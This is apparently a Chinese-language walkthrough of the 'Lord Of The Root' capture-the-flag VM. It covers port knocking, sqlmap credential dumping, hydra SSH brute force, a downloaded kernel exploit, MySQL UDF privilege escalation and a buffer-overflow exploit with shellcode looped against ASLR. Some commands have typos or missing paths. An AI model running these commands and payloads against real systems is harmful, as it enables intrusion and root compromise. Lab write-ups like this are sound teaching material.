Load Of The Root
Load Of The Root参考
kali:192.168.174.137
信息收集
主机发现
nmap -sn 192.168.174.0/24
获得目标地址:192.168.174.151
再次复盘时,不知道为什么nmap扫不到了,但用arp-sacn -l确找的得到,去搜了下区别又学到了一些扫描方法
for i in {1..254}; do ping -c 1 -w 0.1 192.168.174.$i|grep from; done |
端口扫描
nmap -sS -A -n 192.168.174.151
-sS
: 这个参数指定使用TCP SYN扫描(半开放扫描)-A
: 这个参数启用操作系统探测、版本探测、脚本扫描和traceroute等一系列高级扫描技术。使用”-A”参数相当于同时启用了”-O”(操作系统探测)、”-sV”(版本探测:识别目标主机上运行的服务和应用程序的版本信息。)和”–script”(脚本扫描)参数。这样可以提供更丰富的扫描结果和更全面的主机信息。-n
: 这个参数禁用DNS解析。如前面解释所述,禁用DNS解析可以加快扫描速度并避免由于DNS问题引起的延迟和失败。使用”-n”参数后,nmap将只显示IP地址而不提供主机名信息。
发现只开放了一个22端口
尝试连接一下
目录扫描
只有一个22端口,暂时做不了目录扫描
ssh远程连接
连接22端口获得提示
knock ftiend to enter(敲门进入)
Easy as 1,2,3
应该是在提示port_knocking(端口试探)的概要。
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。
根据上面提示,我们尝试连接顺序连接1,2,3端口
knock是一个用于发送端口序列以触发特定行为的工具。它的工作原理是发送一系列的网络请求(称为"击打")到指定的主机和端口组合上。通过按照指定的顺序发送这些请求,可以触发防火墙规则、端口转发或其他网络设备上的特定行为。 |
knock -v 192.168.16.137 1 2 3 |
再次进行端口扫描
nmap -p-
发现一个1337端口
这里看别的wp,发现了另一种写法
for port in $(seq 1 3 ) ; do nmap 192.168.0.4 -p $port;done |
for port in $(seq 1 3):这是一个for循环语句,它将变量port设置为从1到3的序列。这意味着循环将执行三次,每次将port设置为1、2和3。
do nmap 192.168.0.4 -p $port &:在循环体中,执行nmap命令。192.168.0.4是目标主机的IP地址。-p $port指定要扫描的端口,变量$port将在每次循环时被替换为当前的端口值。&符号表示在后台运行nmap命令,以便并行执行多个扫描。
done:循环结束的标记。
访问端口服务
只有一张图片,但提示了mordor,尝试访问一下这个目录
又是只有一张图THE BLACK GATEIS TOO MAINSTREAM,查看源代码,发现一串加密的字符串
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>--> |
方cmd5去跑一下,查询结果是
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! |
左边的一串也类似加密的字符串,再跑一遍
/978345210/index.php |
得到一个目录,尝试访问一下
发现是一个登陆界面,直接用sqlmap试试,抓包,保存,-r
发现不知道要跑多久,搜了下,换了个参数
sqlmap -r 1.txt -D Webapp --tables --threads=10 --batch |
爆出来个User表
sqlmap -r 1.txt -D Webapp --dump -T Users --threads=10 --batch |
发现了用户名和密码,明文存取,试试登陆,每一个好像都是一样图片,试试用这些账号远程登陆试试,可以用hydra,先把这些账号密码分别保存到txt文件中
hydra -L username.txt -P password.txt ssh://192.168.174.151 |
发现第二个账号是可以登陆的,用它登陆上去试试
提权
利用内核漏洞提取39166.c
uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
发现是ubuntu14.04,去找找有什么能够利用的漏洞,发现一个Ubuntu特权提升漏洞(CVE-2021-3493),去试试。操作不允许。。。看下wp用的是啥,在msf里找,带39166.c的
searchsploit Ubuntu 14.04 |
然后把他复制过来
searchsploit -m 39166.c |
然后在复制的地方搭建个一句话服务器
python -m http.server 9966 |
cd /root |
另一种方法:使用mysql提权
查看mysql 的版本
ps -aux | grep mysql |
查看mysql 数据库的root密码,这个可以去网站连接数据库的命令查看
root:darkshadow
看看可以不以使用UDF提权,因为mysql是root用户运行的,如果我们提权成功,将获得root权限
mysql -uroot -pdarkshadow |
进入数据库后,看看secure_file_priv的配置
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权 |
show global variables like 'secure%'; |
查看主机版本及数据库架构
show variables like '%compile%'; |
因数据库为i6886,要使用32位udf文件
查看plugin目录地址,此处为上传udf文件地址
show variables like 'plugin%'; |
/usr/lib/mysql/plugin/
可以在msf的/usr/share/metasploit-framework/data/exploits/mysql下,找到udf文件
cd /usr/share/metasploit-framework/data/exploits/mysql |
将文件复制出来,因为是32位架构,所以使用lib_mysqludf_sys_32.so
cp lib_mysqludf_sys_32.so /root |
再搭一个一句话服务器9966端口,然后在靶机上下载
wget http://192.168.174.137:9966/lib_mysqludf_sys_32.so |
然后连接数据库,进入一个库,我这里用的是mysql
创建一个表,用来存储udf文件内容
create table foo(line blog); |
在MySQL中Blob是一个二进制的对象,Blob类型 最大能容纳65KB的
将udf文件插入到temp表中
insert into foo(line) values (load_file('/home/smeagol/lib_mysqludf_sys_32.so')); |
在/usr/lib/mysql/plugin/目录下,新建一个udf32.so文件,将表中数据存入
select line from foo into dumpfile "/usr/lib/mysql/plugin"; |
将udf32.so文件导入数据库,定义一个函数名称sys_eval
reate function sys_eval returns string soname 'udf32.so'; |
使用sys_eval函数,执行linux命令
提权成功,给find命令赋予普通用户使用可以暂时获取root用户使用权限
select sys_eval('chmod u+s /usr/bin/find'); |
通过find命令的 exec参数,获取root的shell
find ./ 1.txt -exec '/bin/sh' \; |
法三:缓冲区溢出提权.
ls -lahR |
- ls -a # 显示当前目录中的所有文件和目录,包括隐藏文件
- ls -lh # 以人类可读的方式显示当前目录中的文件和目录大小
- ls -R # 递归显示当前目录中的所有文件和子目录
学到一个批量看文件的命令
这个文件是放在/SECRET/door3的file的文件,可以用
./file $(python -c 'print' "A"*200') |
测试
这里使用gdb工具进行调试
gdb -q ./file |
既然在测试中200个字节就已经产生了溢出,那就先去生成一个不重复的两百的字节大小的字符串,这里用msf中的pattern_create.rb构造
locate pattern_ |
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb |
然后把这个字符串作为参数,放到gdb里run一下
走到这里和攻略不一样了,先换一种方法
在之前查看文件的基础上,可以发现间隔了几分钟后,我们再次查看,发现文件大小发生了变化
一开始door1的file是7.2,door2的file是5.1,现在door1的是5.1,door2的是7.1
时使用ldd命令查看file ldd(查看依赖情况)
这个是因为存在一个防护机制ASLR,我们查看ASLR设置
cat /proc/sys/kernel/randomize_va_space |
返回2
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
如果没有设置ASLR的话,ldd看到的值也都是固定的
注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大
绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来
现在的情况就是,缓冲区溢出的文件随机,空间也随机
对于溢出来说,有几个点:
- 首先,溢出的点在哪里(偏移量/溢出值)
- 溢出后,后面的空间有多大,放合适的恶意代码进去
- 绕过安全保护机制
首先我们找到那个5.1k的file,然后把他搞到kali里面
我这里直接base64编码复制出来
base64 file |
复制放到本地的一个文本中,并且复原成file,然后解密
cat 1.txt | base64 -d > file |
此时在确定file是5.1k的情况下查看md5值,与kali里的进行对比
md5sum file |
可以发现是一样的,这里也使用GDB进行分析,博主推荐两个插件
pwndbg和peda |
下面就是调试了
先授予权限并执行
chmod +x file |
当把值加大后,回显段报错,用之前用的的方法生成个1000位值
./patern_create.rb -l 1000 |
再使用GDB执行值
然后发现之前方法可以继续下去了,可能是环境没调好
这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置
0x41376641 in ?? ()
查看到错误点在41376641
分析错误点判断偏移量
./pattern_offset.rb -q 41376641 |
得到偏移位置171
尝试在偏移量171溢出后情况
gdb$run $(python -c 'print("A" * 171 + "B" * 4)') |
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。
Nop空间测试ESP
由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来
run $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 2000)') |
写入171个A之后,写入4个B,之后写入90
我们成功的控制了eip中的内容,ESP就是我们溢出之后执行shellcode的地方
x/s $esp |
0xffffbf30这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell
这里做到后面做错了。。。不能在本机跑。。。,内存都不一样了。。。
那我们往eip填写的数据需要是‘0xbfd37c50:’,记得倒序
看wp,作者在/SECRET中执行的代码,这三次代码相同,但是每次esp地址却不同,甚至第三次他又没产生溢出漏洞,这就是我们上面讲的ASLR,他的地址在动态变化,防止我们制造出溢出漏洞,我想们需要饶过他
假设他每次地址都在随机变化,那我们只要指定一个地址填充到eip中,并不断执行构造溢出,那是不是他终究会出现随机到和我们指定的地址相同这种情况,时不时就会执行我们的shellcode
编写exp
#!/bin/python |
由于esp地址前两位一直是bf所以我们前两位不变,剩下六位随便填,不要填\x00就行,他有特殊含义不能被正确识别
代码中被注释的是我从其他作者文章中复制过来的,可以直接在shell中执行
执行命令
#for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done |
终于成了。。。。
这里有个问题是,root目录下有个switcher.py文件,会让产生缓冲区溢出的文件发生变化
#!/usr/bin/python |
有时候不行的话,可以回去看下存在溢出的文件有没有发生变化